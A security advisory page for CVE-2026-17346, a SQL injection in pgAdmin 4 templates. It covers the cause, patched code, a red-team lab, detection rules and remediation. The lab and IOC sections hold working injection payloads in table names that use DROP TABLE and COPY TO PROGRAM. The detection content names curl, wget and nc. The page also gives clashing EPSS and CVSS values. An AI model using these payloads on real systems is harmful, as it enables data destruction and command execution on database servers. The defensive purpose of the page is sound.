☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 8.8 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-89
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-17346

CVE-2026-17346 SQL Injection in Fix
📅 PUBLISHED: 2026-07-31 16:16 UTC 🔄 UPDATED: 2026-10-10 06:49 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix ⏳ Vendor-claimed fix: v9.17 — source: PostgreSQL. UNVERIFIED · pending independent confirmation. how verification works →
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.61%
👁️
0.61% probability
15.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 8.8
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
8.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-17346 is a high-severity SQL injection vulnerability in pgAdmin 4 that bypasses and expands on the incomplete fix shipped for CVE-2026-12044. The root cause is unescaped Jinja2 template interpolation of PostgreSQL object names in several Statistics and Dependencies SQL templates.

A low-privileged database user who is allowed to create tables, publications, or subscriptions can craft an object name containing an apostrophe. When any other user opens the corresponding Statistics or Dependencies tab in pgAdmin, the object name is interpolated directly into a SQL statement without using qtLiteral(), allowing arbitrary SQL statement injection in the context of the viewing user's database session.

The affected sinks include:

  • coll_stats.sql all-indexes listing path, both the PostgreSQL 16+ and default template variants.
  • Publication and subscription dependencies.sql and get_position.sql templates, including both pg and ppas / EPAS dialect variants.

The upstream fix in pgAdmin 4 9.17 applies qtLiteral(conn) to all name interpolation in these templates and updates publications/__init__.py and subscriptions/__init__.py to pass conn=self.conn into the render_template() calls. The corresponding test allowlist entries in test_sql_string_literal_lint.py are removed.

EPSS scoring is 0.0%, meaning no active exploitation has been widely reported at the time of publication. However, the attack surface is highly relevant for exposed pgAdmin instances and shared-database environments.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

pgAdmin 4 is distributed through multiple channels, including PyPI as the pgadmin4 package and the official Docker image dpage/pgadmin4. Organizations that install from PyPI should pin exact versions and verify file hashes in their software lockfiles. Although this CVE is not a malicious-package injection, it is a reminder that transitive dependencies and delivered templates must be kept current. Docker deployments should prefer multi-stage builds and non-root execution to reduce the impact of post-exploitation activity. There is no evidence of a malicious PyPI or Docker package directly tied to CVE-2026-17346.

CVSS Breakdown & Threat Level

The vulnerability carries an NVD base score of 8.8, which is High severity. The exact CVSS vector was not published in the advisory. A plausible vector for this class of issue is:

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

This reflects:

  • Network-based attack.
  • Low complexity.
  • Low-privileged attacker account required.
  • User interaction required because a victim must open the affected Statistics or Dependencies tab.
  • Scope unchanged because the injection executes in the same database context.
  • High impact to confidentiality, integrity, and availability.

The advisory also notes that the prior CVE-2026-12044 fix covered only a subset of the vulnerable template sinks. This broader issue remained hidden because the upstream regression test allowed certain object names to be treated as safe without proper escaping.

Deep Dive & Mechanics

pgAdmin heavily relies on SQL template files rendered with Jinja2. Many templates interpolate values using double braces. When a value is not properly escaped, an attacker-controlled value can alter the structure of the SQL statement.

The vulnerable pattern is shown conceptually below:

SELECT ...
FROM pg_catalog.pg_class c
WHERE c.relname = '{{ name }}'

The developer expectation was that name comes from pg_catalog and can never contain an apostrophe. That assumption is false. PostgreSQL allows any sequence of characters in quoted identifiers. A user can create an object with a name such as:

CREATE TABLE "x'; DROP TABLE audit_log; --" (id integer);

When pgAdmin later renders the template, the payload becomes:

SELECT ...
WHERE c.relname = 'x'; DROP TABLE audit_log; --'

The first query closes the SQL string, the attacker-controlled stacked statements execute, and the trailing single quote is commented out.

Because the injected SQL runs in the database session of the user who opens the Statistics or Dependencies tab, the attacker is effectively borrowing that user's database permissions. If an administrator opens the tab, the injected SQL executes as the administrator.

This is not a SQL injection in the query tool; it is a server-side template injection inside the pgAdmin application's generated SQL. The affected sink variants exist for different PostgreSQL versions and for the EnterpriseDB / PPAS dialect, making remediation broader than the initial CVE-2026-12044 fix.

Vulnerable vs. Patched Code

The vulnerable pattern is identical across the affected templates. The following examples are representative.

Vulnerable coll_stats.sql

-- Before pgAdmin 4 9.17
SELECT
    c.relname,
    c.oid
FROM pg_catalog.pg_class c
JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace
WHERE c.relname = '{{ name }}'

In this version, the value is inserted directly inside single quotes. If name contains '; DROP TABLE ...; --, the SQL statement is changed.

Patched coll_stats.sql

-- After pgAdmin 4 9.17
SELECT
    c.relname,
    c.oid
FROM pg_catalog.pg_class c
JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace
WHERE c.relname = {{ name | qtLiteral(conn) }}

The qtLiteral(conn) filter properly generates a PostgreSQL string literal using the database connection, escaping any embedded apostrophes.

Vulnerable Python Call

The Python side previously did not need to pass a connection because the template did not use a connection-aware filter.

render_template(
    "publications/dependencies.sql",
    name=object_name
)

Patched Python Call

render_template(
    "publications/dependencies.sql",
    name=object_name,
    conn=self.conn
)

Passing conn is mandatory because qtLiteral must safely quote against the live database connection.

Exploitation & Lab Setup

No public Exploit-DB entry or Nuclei template is available for CVE-2026-17346. The following lab setup is intended solely for authorized security testing and detection engineering.

Red Team Lab

  1. Deploy a pgAdmin 4 version before 9.17 in a controlled environment.
docker run -d --name pgadmin-vuln -p 8080:80 dpage/pgadmin4:9.16
  1. Create a low-privileged PostgreSQL role and database:
CREATE ROLE alice LOGIN PASSWORD 'alicepass';
GRANT CONNECT ON DATABASE training TO alice;
GRANT CREATE ON SCHEMA public TO alice;
  1. Connect as alice and create malicious object names:
-- Simple proof of concept
CREATE TABLE "logs'; SELECT pg_sleep(10); --" (id integer);

-- More destructive payload if permitted in the lab
CREATE TABLE "victim'; DROP TABLE audit_trail; --" (id integer);

-- Payload targeting COPY TO PROGRAM
CREATE TABLE "pwn'; COPY (SELECT 1) TO PROGRAM 'touch /tmp/pgadmin_pwned'; --" (id integer);
  1. Ask an administrator or high-privileged user to log in to pgAdmin and open the Statistics tab for the malicious table in the object browser tree. When the all-indexes listing is rendered, the payload executes in the administrator's session.

  2. Verify execution by checking PostgreSQL logs or observing the side effect:

ls -l /tmp/pgadmin_pwned

Blue Team Detection Lab

  1. Configure PostgreSQL to log all DDL statements:
ALTER SYSTEM SET log_statement = 'ddl';
ALTER SYSTEM SET log_error_verbosity = 'verbose';
SELECT pg_reload_conf();
  1. Create a staging database and generate malicious object names exactly as an attacker would.

  2. Capture the generated pgAdmin SQL queries in the PostgreSQL log. The injected pattern will contain an apostrophe followed by a semicolon and an additional statement.

  3. Deploy the Sigma and YARA rules from the Detection Engineering section to alert on the abnormal object name pattern.

Indicators of Compromise (IOCs)

There is no known public exploit kit or C2 infrastructure associated with CVE-2026-17346. The following behavioral indicators can tell whether the vulnerability has been triggered.

SQL Log Pattern

Look for PostgreSQL log lines that contain object names with embedded apostrophes and SQL statement separators.

CREATE TABLE "logs'; SELECT pg_sleep(10); --" (id integer)
CREATE TABLE "victim'; DROP TABLE audit_trail; --" (id integer)
CREATE TABLE "pwn'; COPY (SELECT 1) TO PROGRAM 'touch /tmp/pgadmin_pwned'; --" (id integer)

When the vulnerable template is triggered, the rendered SQL appears similar to:

SELECT ... WHERE c.relname = 'logs'; SELECT pg_sleep(10); --'

Process and File Artifacts

  • Unexpected execution of touch, curl, wget, nc, or other programs from the PostgreSQL service account.
  • New files in /tmp or pgadmin writable directories, such as /tmp/pgadmin_pwned.
  • PostgreSQL backend processes spawning non-PostgreSQL child processes.

Network Artifacts

  • Outbound connections from the PostgreSQL server to external IP addresses or domains when COPY TO PROGRAM is abused.
  • Web requests to pgAdmin browser endpoints containing URL-encoded SQL punctuation such as %27 and %3B.

Detection Engineering

No official Nuclei template was supplied with this advisory. The following detection content should be tuned to the local environment.

YARA Rule

rule pgadmin_cve_2026_17346_malicious_object
{
    meta:
        author = "Valters IT"
        cve = "CVE-2026-17346"
        description = "Detects suspicious PostgreSQL object names and stacked SQL payloads used against pgAdmin"
    strings:
        $ddl_table = "CREATE TABLE" ascii nocase
        $ddl_publication = "CREATE PUBLICATION" ascii nocase
        $ddl_subscription = "CREATE SUBSCRIPTION" ascii nocase
        $quote_semicolon = "';" ascii
        $semi_drop = "; DROP" ascii nocase
        $semi_alt = "; ALTER" ascii nocase
        $semi_copy = "; COPY" ascii nocase
        $semi_sel = "; SELECT" ascii nocase
    condition:
        (any of ($ddl_*) and $quote_semicolon and any of ($semi_drop, $semi_alt, $semi_copy, $semi_sel))
}

Sigma Rule

title: Suspicious PostgreSQL Object Name with SQL Injection Pattern
id: 4d9f0b6c-7f8a-4f6a-9e3b-1c2d3e4f5a6b
status: experimental
description: Detects PostgreSQL DDL statements that create quoted identifiers containing stacked SQL operators, possibly targeting pgAdmin CVE-2026-17346
logsource:
    category: application
    product: postgresql
detection:
    selection_ddl:
        message|contains:
            - 'CREATE TABLE "'
            - 'CREATE PUBLICATION "'
            - 'CREATE SUBSCRIPTION "'
    selection_payload:
        message|contains:
            - "';"
            - '; DROP'
            - '; ALTER'
            - '; COPY'
            - '; SELECT'
    condition: selection_ddl and selection_payload
falsepositives:
    - Legitimate use of unusual quoted identifiers in a development environment
level: high

Suricata Rule

alert http any any -> any any (msg:"pgAdmin CVE-2026-17346 SQL injection attempt"; flow:established,to_server; content:"/browser/"; http_uri; content:"name="; http_uri; content:"%27%3B"; http_uri; content:"DROP"; http_uri; classtype:attempted-admin; sid:202617346; rev:1;)

Remediation & Mitigation

  1. Upgrade pgAdmin 4 to 9.17 or later. The upstream fix uses qtLiteral(conn) in all affected templates and passes the database connection through to render_template().

  2. If immediate upgrade is impossible, remove the affected Statistics and Dependencies tab access for untrusted object names and restrict access to pgAdmin through network allowlists.

  3. Apply the principle of least privilege to PostgreSQL roles. Do not grant CREATE TABLE, CREATE PUBLICATION, or CREATE SUBSCRIPTION to roles that do not require them.

  4. Enable PostgreSQL DDL logging and deploy the supplied Sigma and YARA rules to detect malicious object names.

  5. Use WAF or reverse proxy rules to block URL-encoded SQL separators in pgAdmin web requests, especially %27 and %3B.

  6. Audit existing database object names for apostrophes and suspicious trailing SQL fragments.

SELECT
    n.nspname AS schema_name,
    c.relname AS object_name,
    c.relkind AS object_type
FROM pg_catalog.pg_class c
JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace
WHERE c.relname LIKE '%''%' OR c.relname LIKE '%;%'
ORDER BY n.nspname, c.relname;
  1. For high-security environments, restrict access to pgAdmin itself and require separate administrative credentials for the pgAdmin application.

Valters IT – Security Intelligence & DevSecOps

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-17346/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.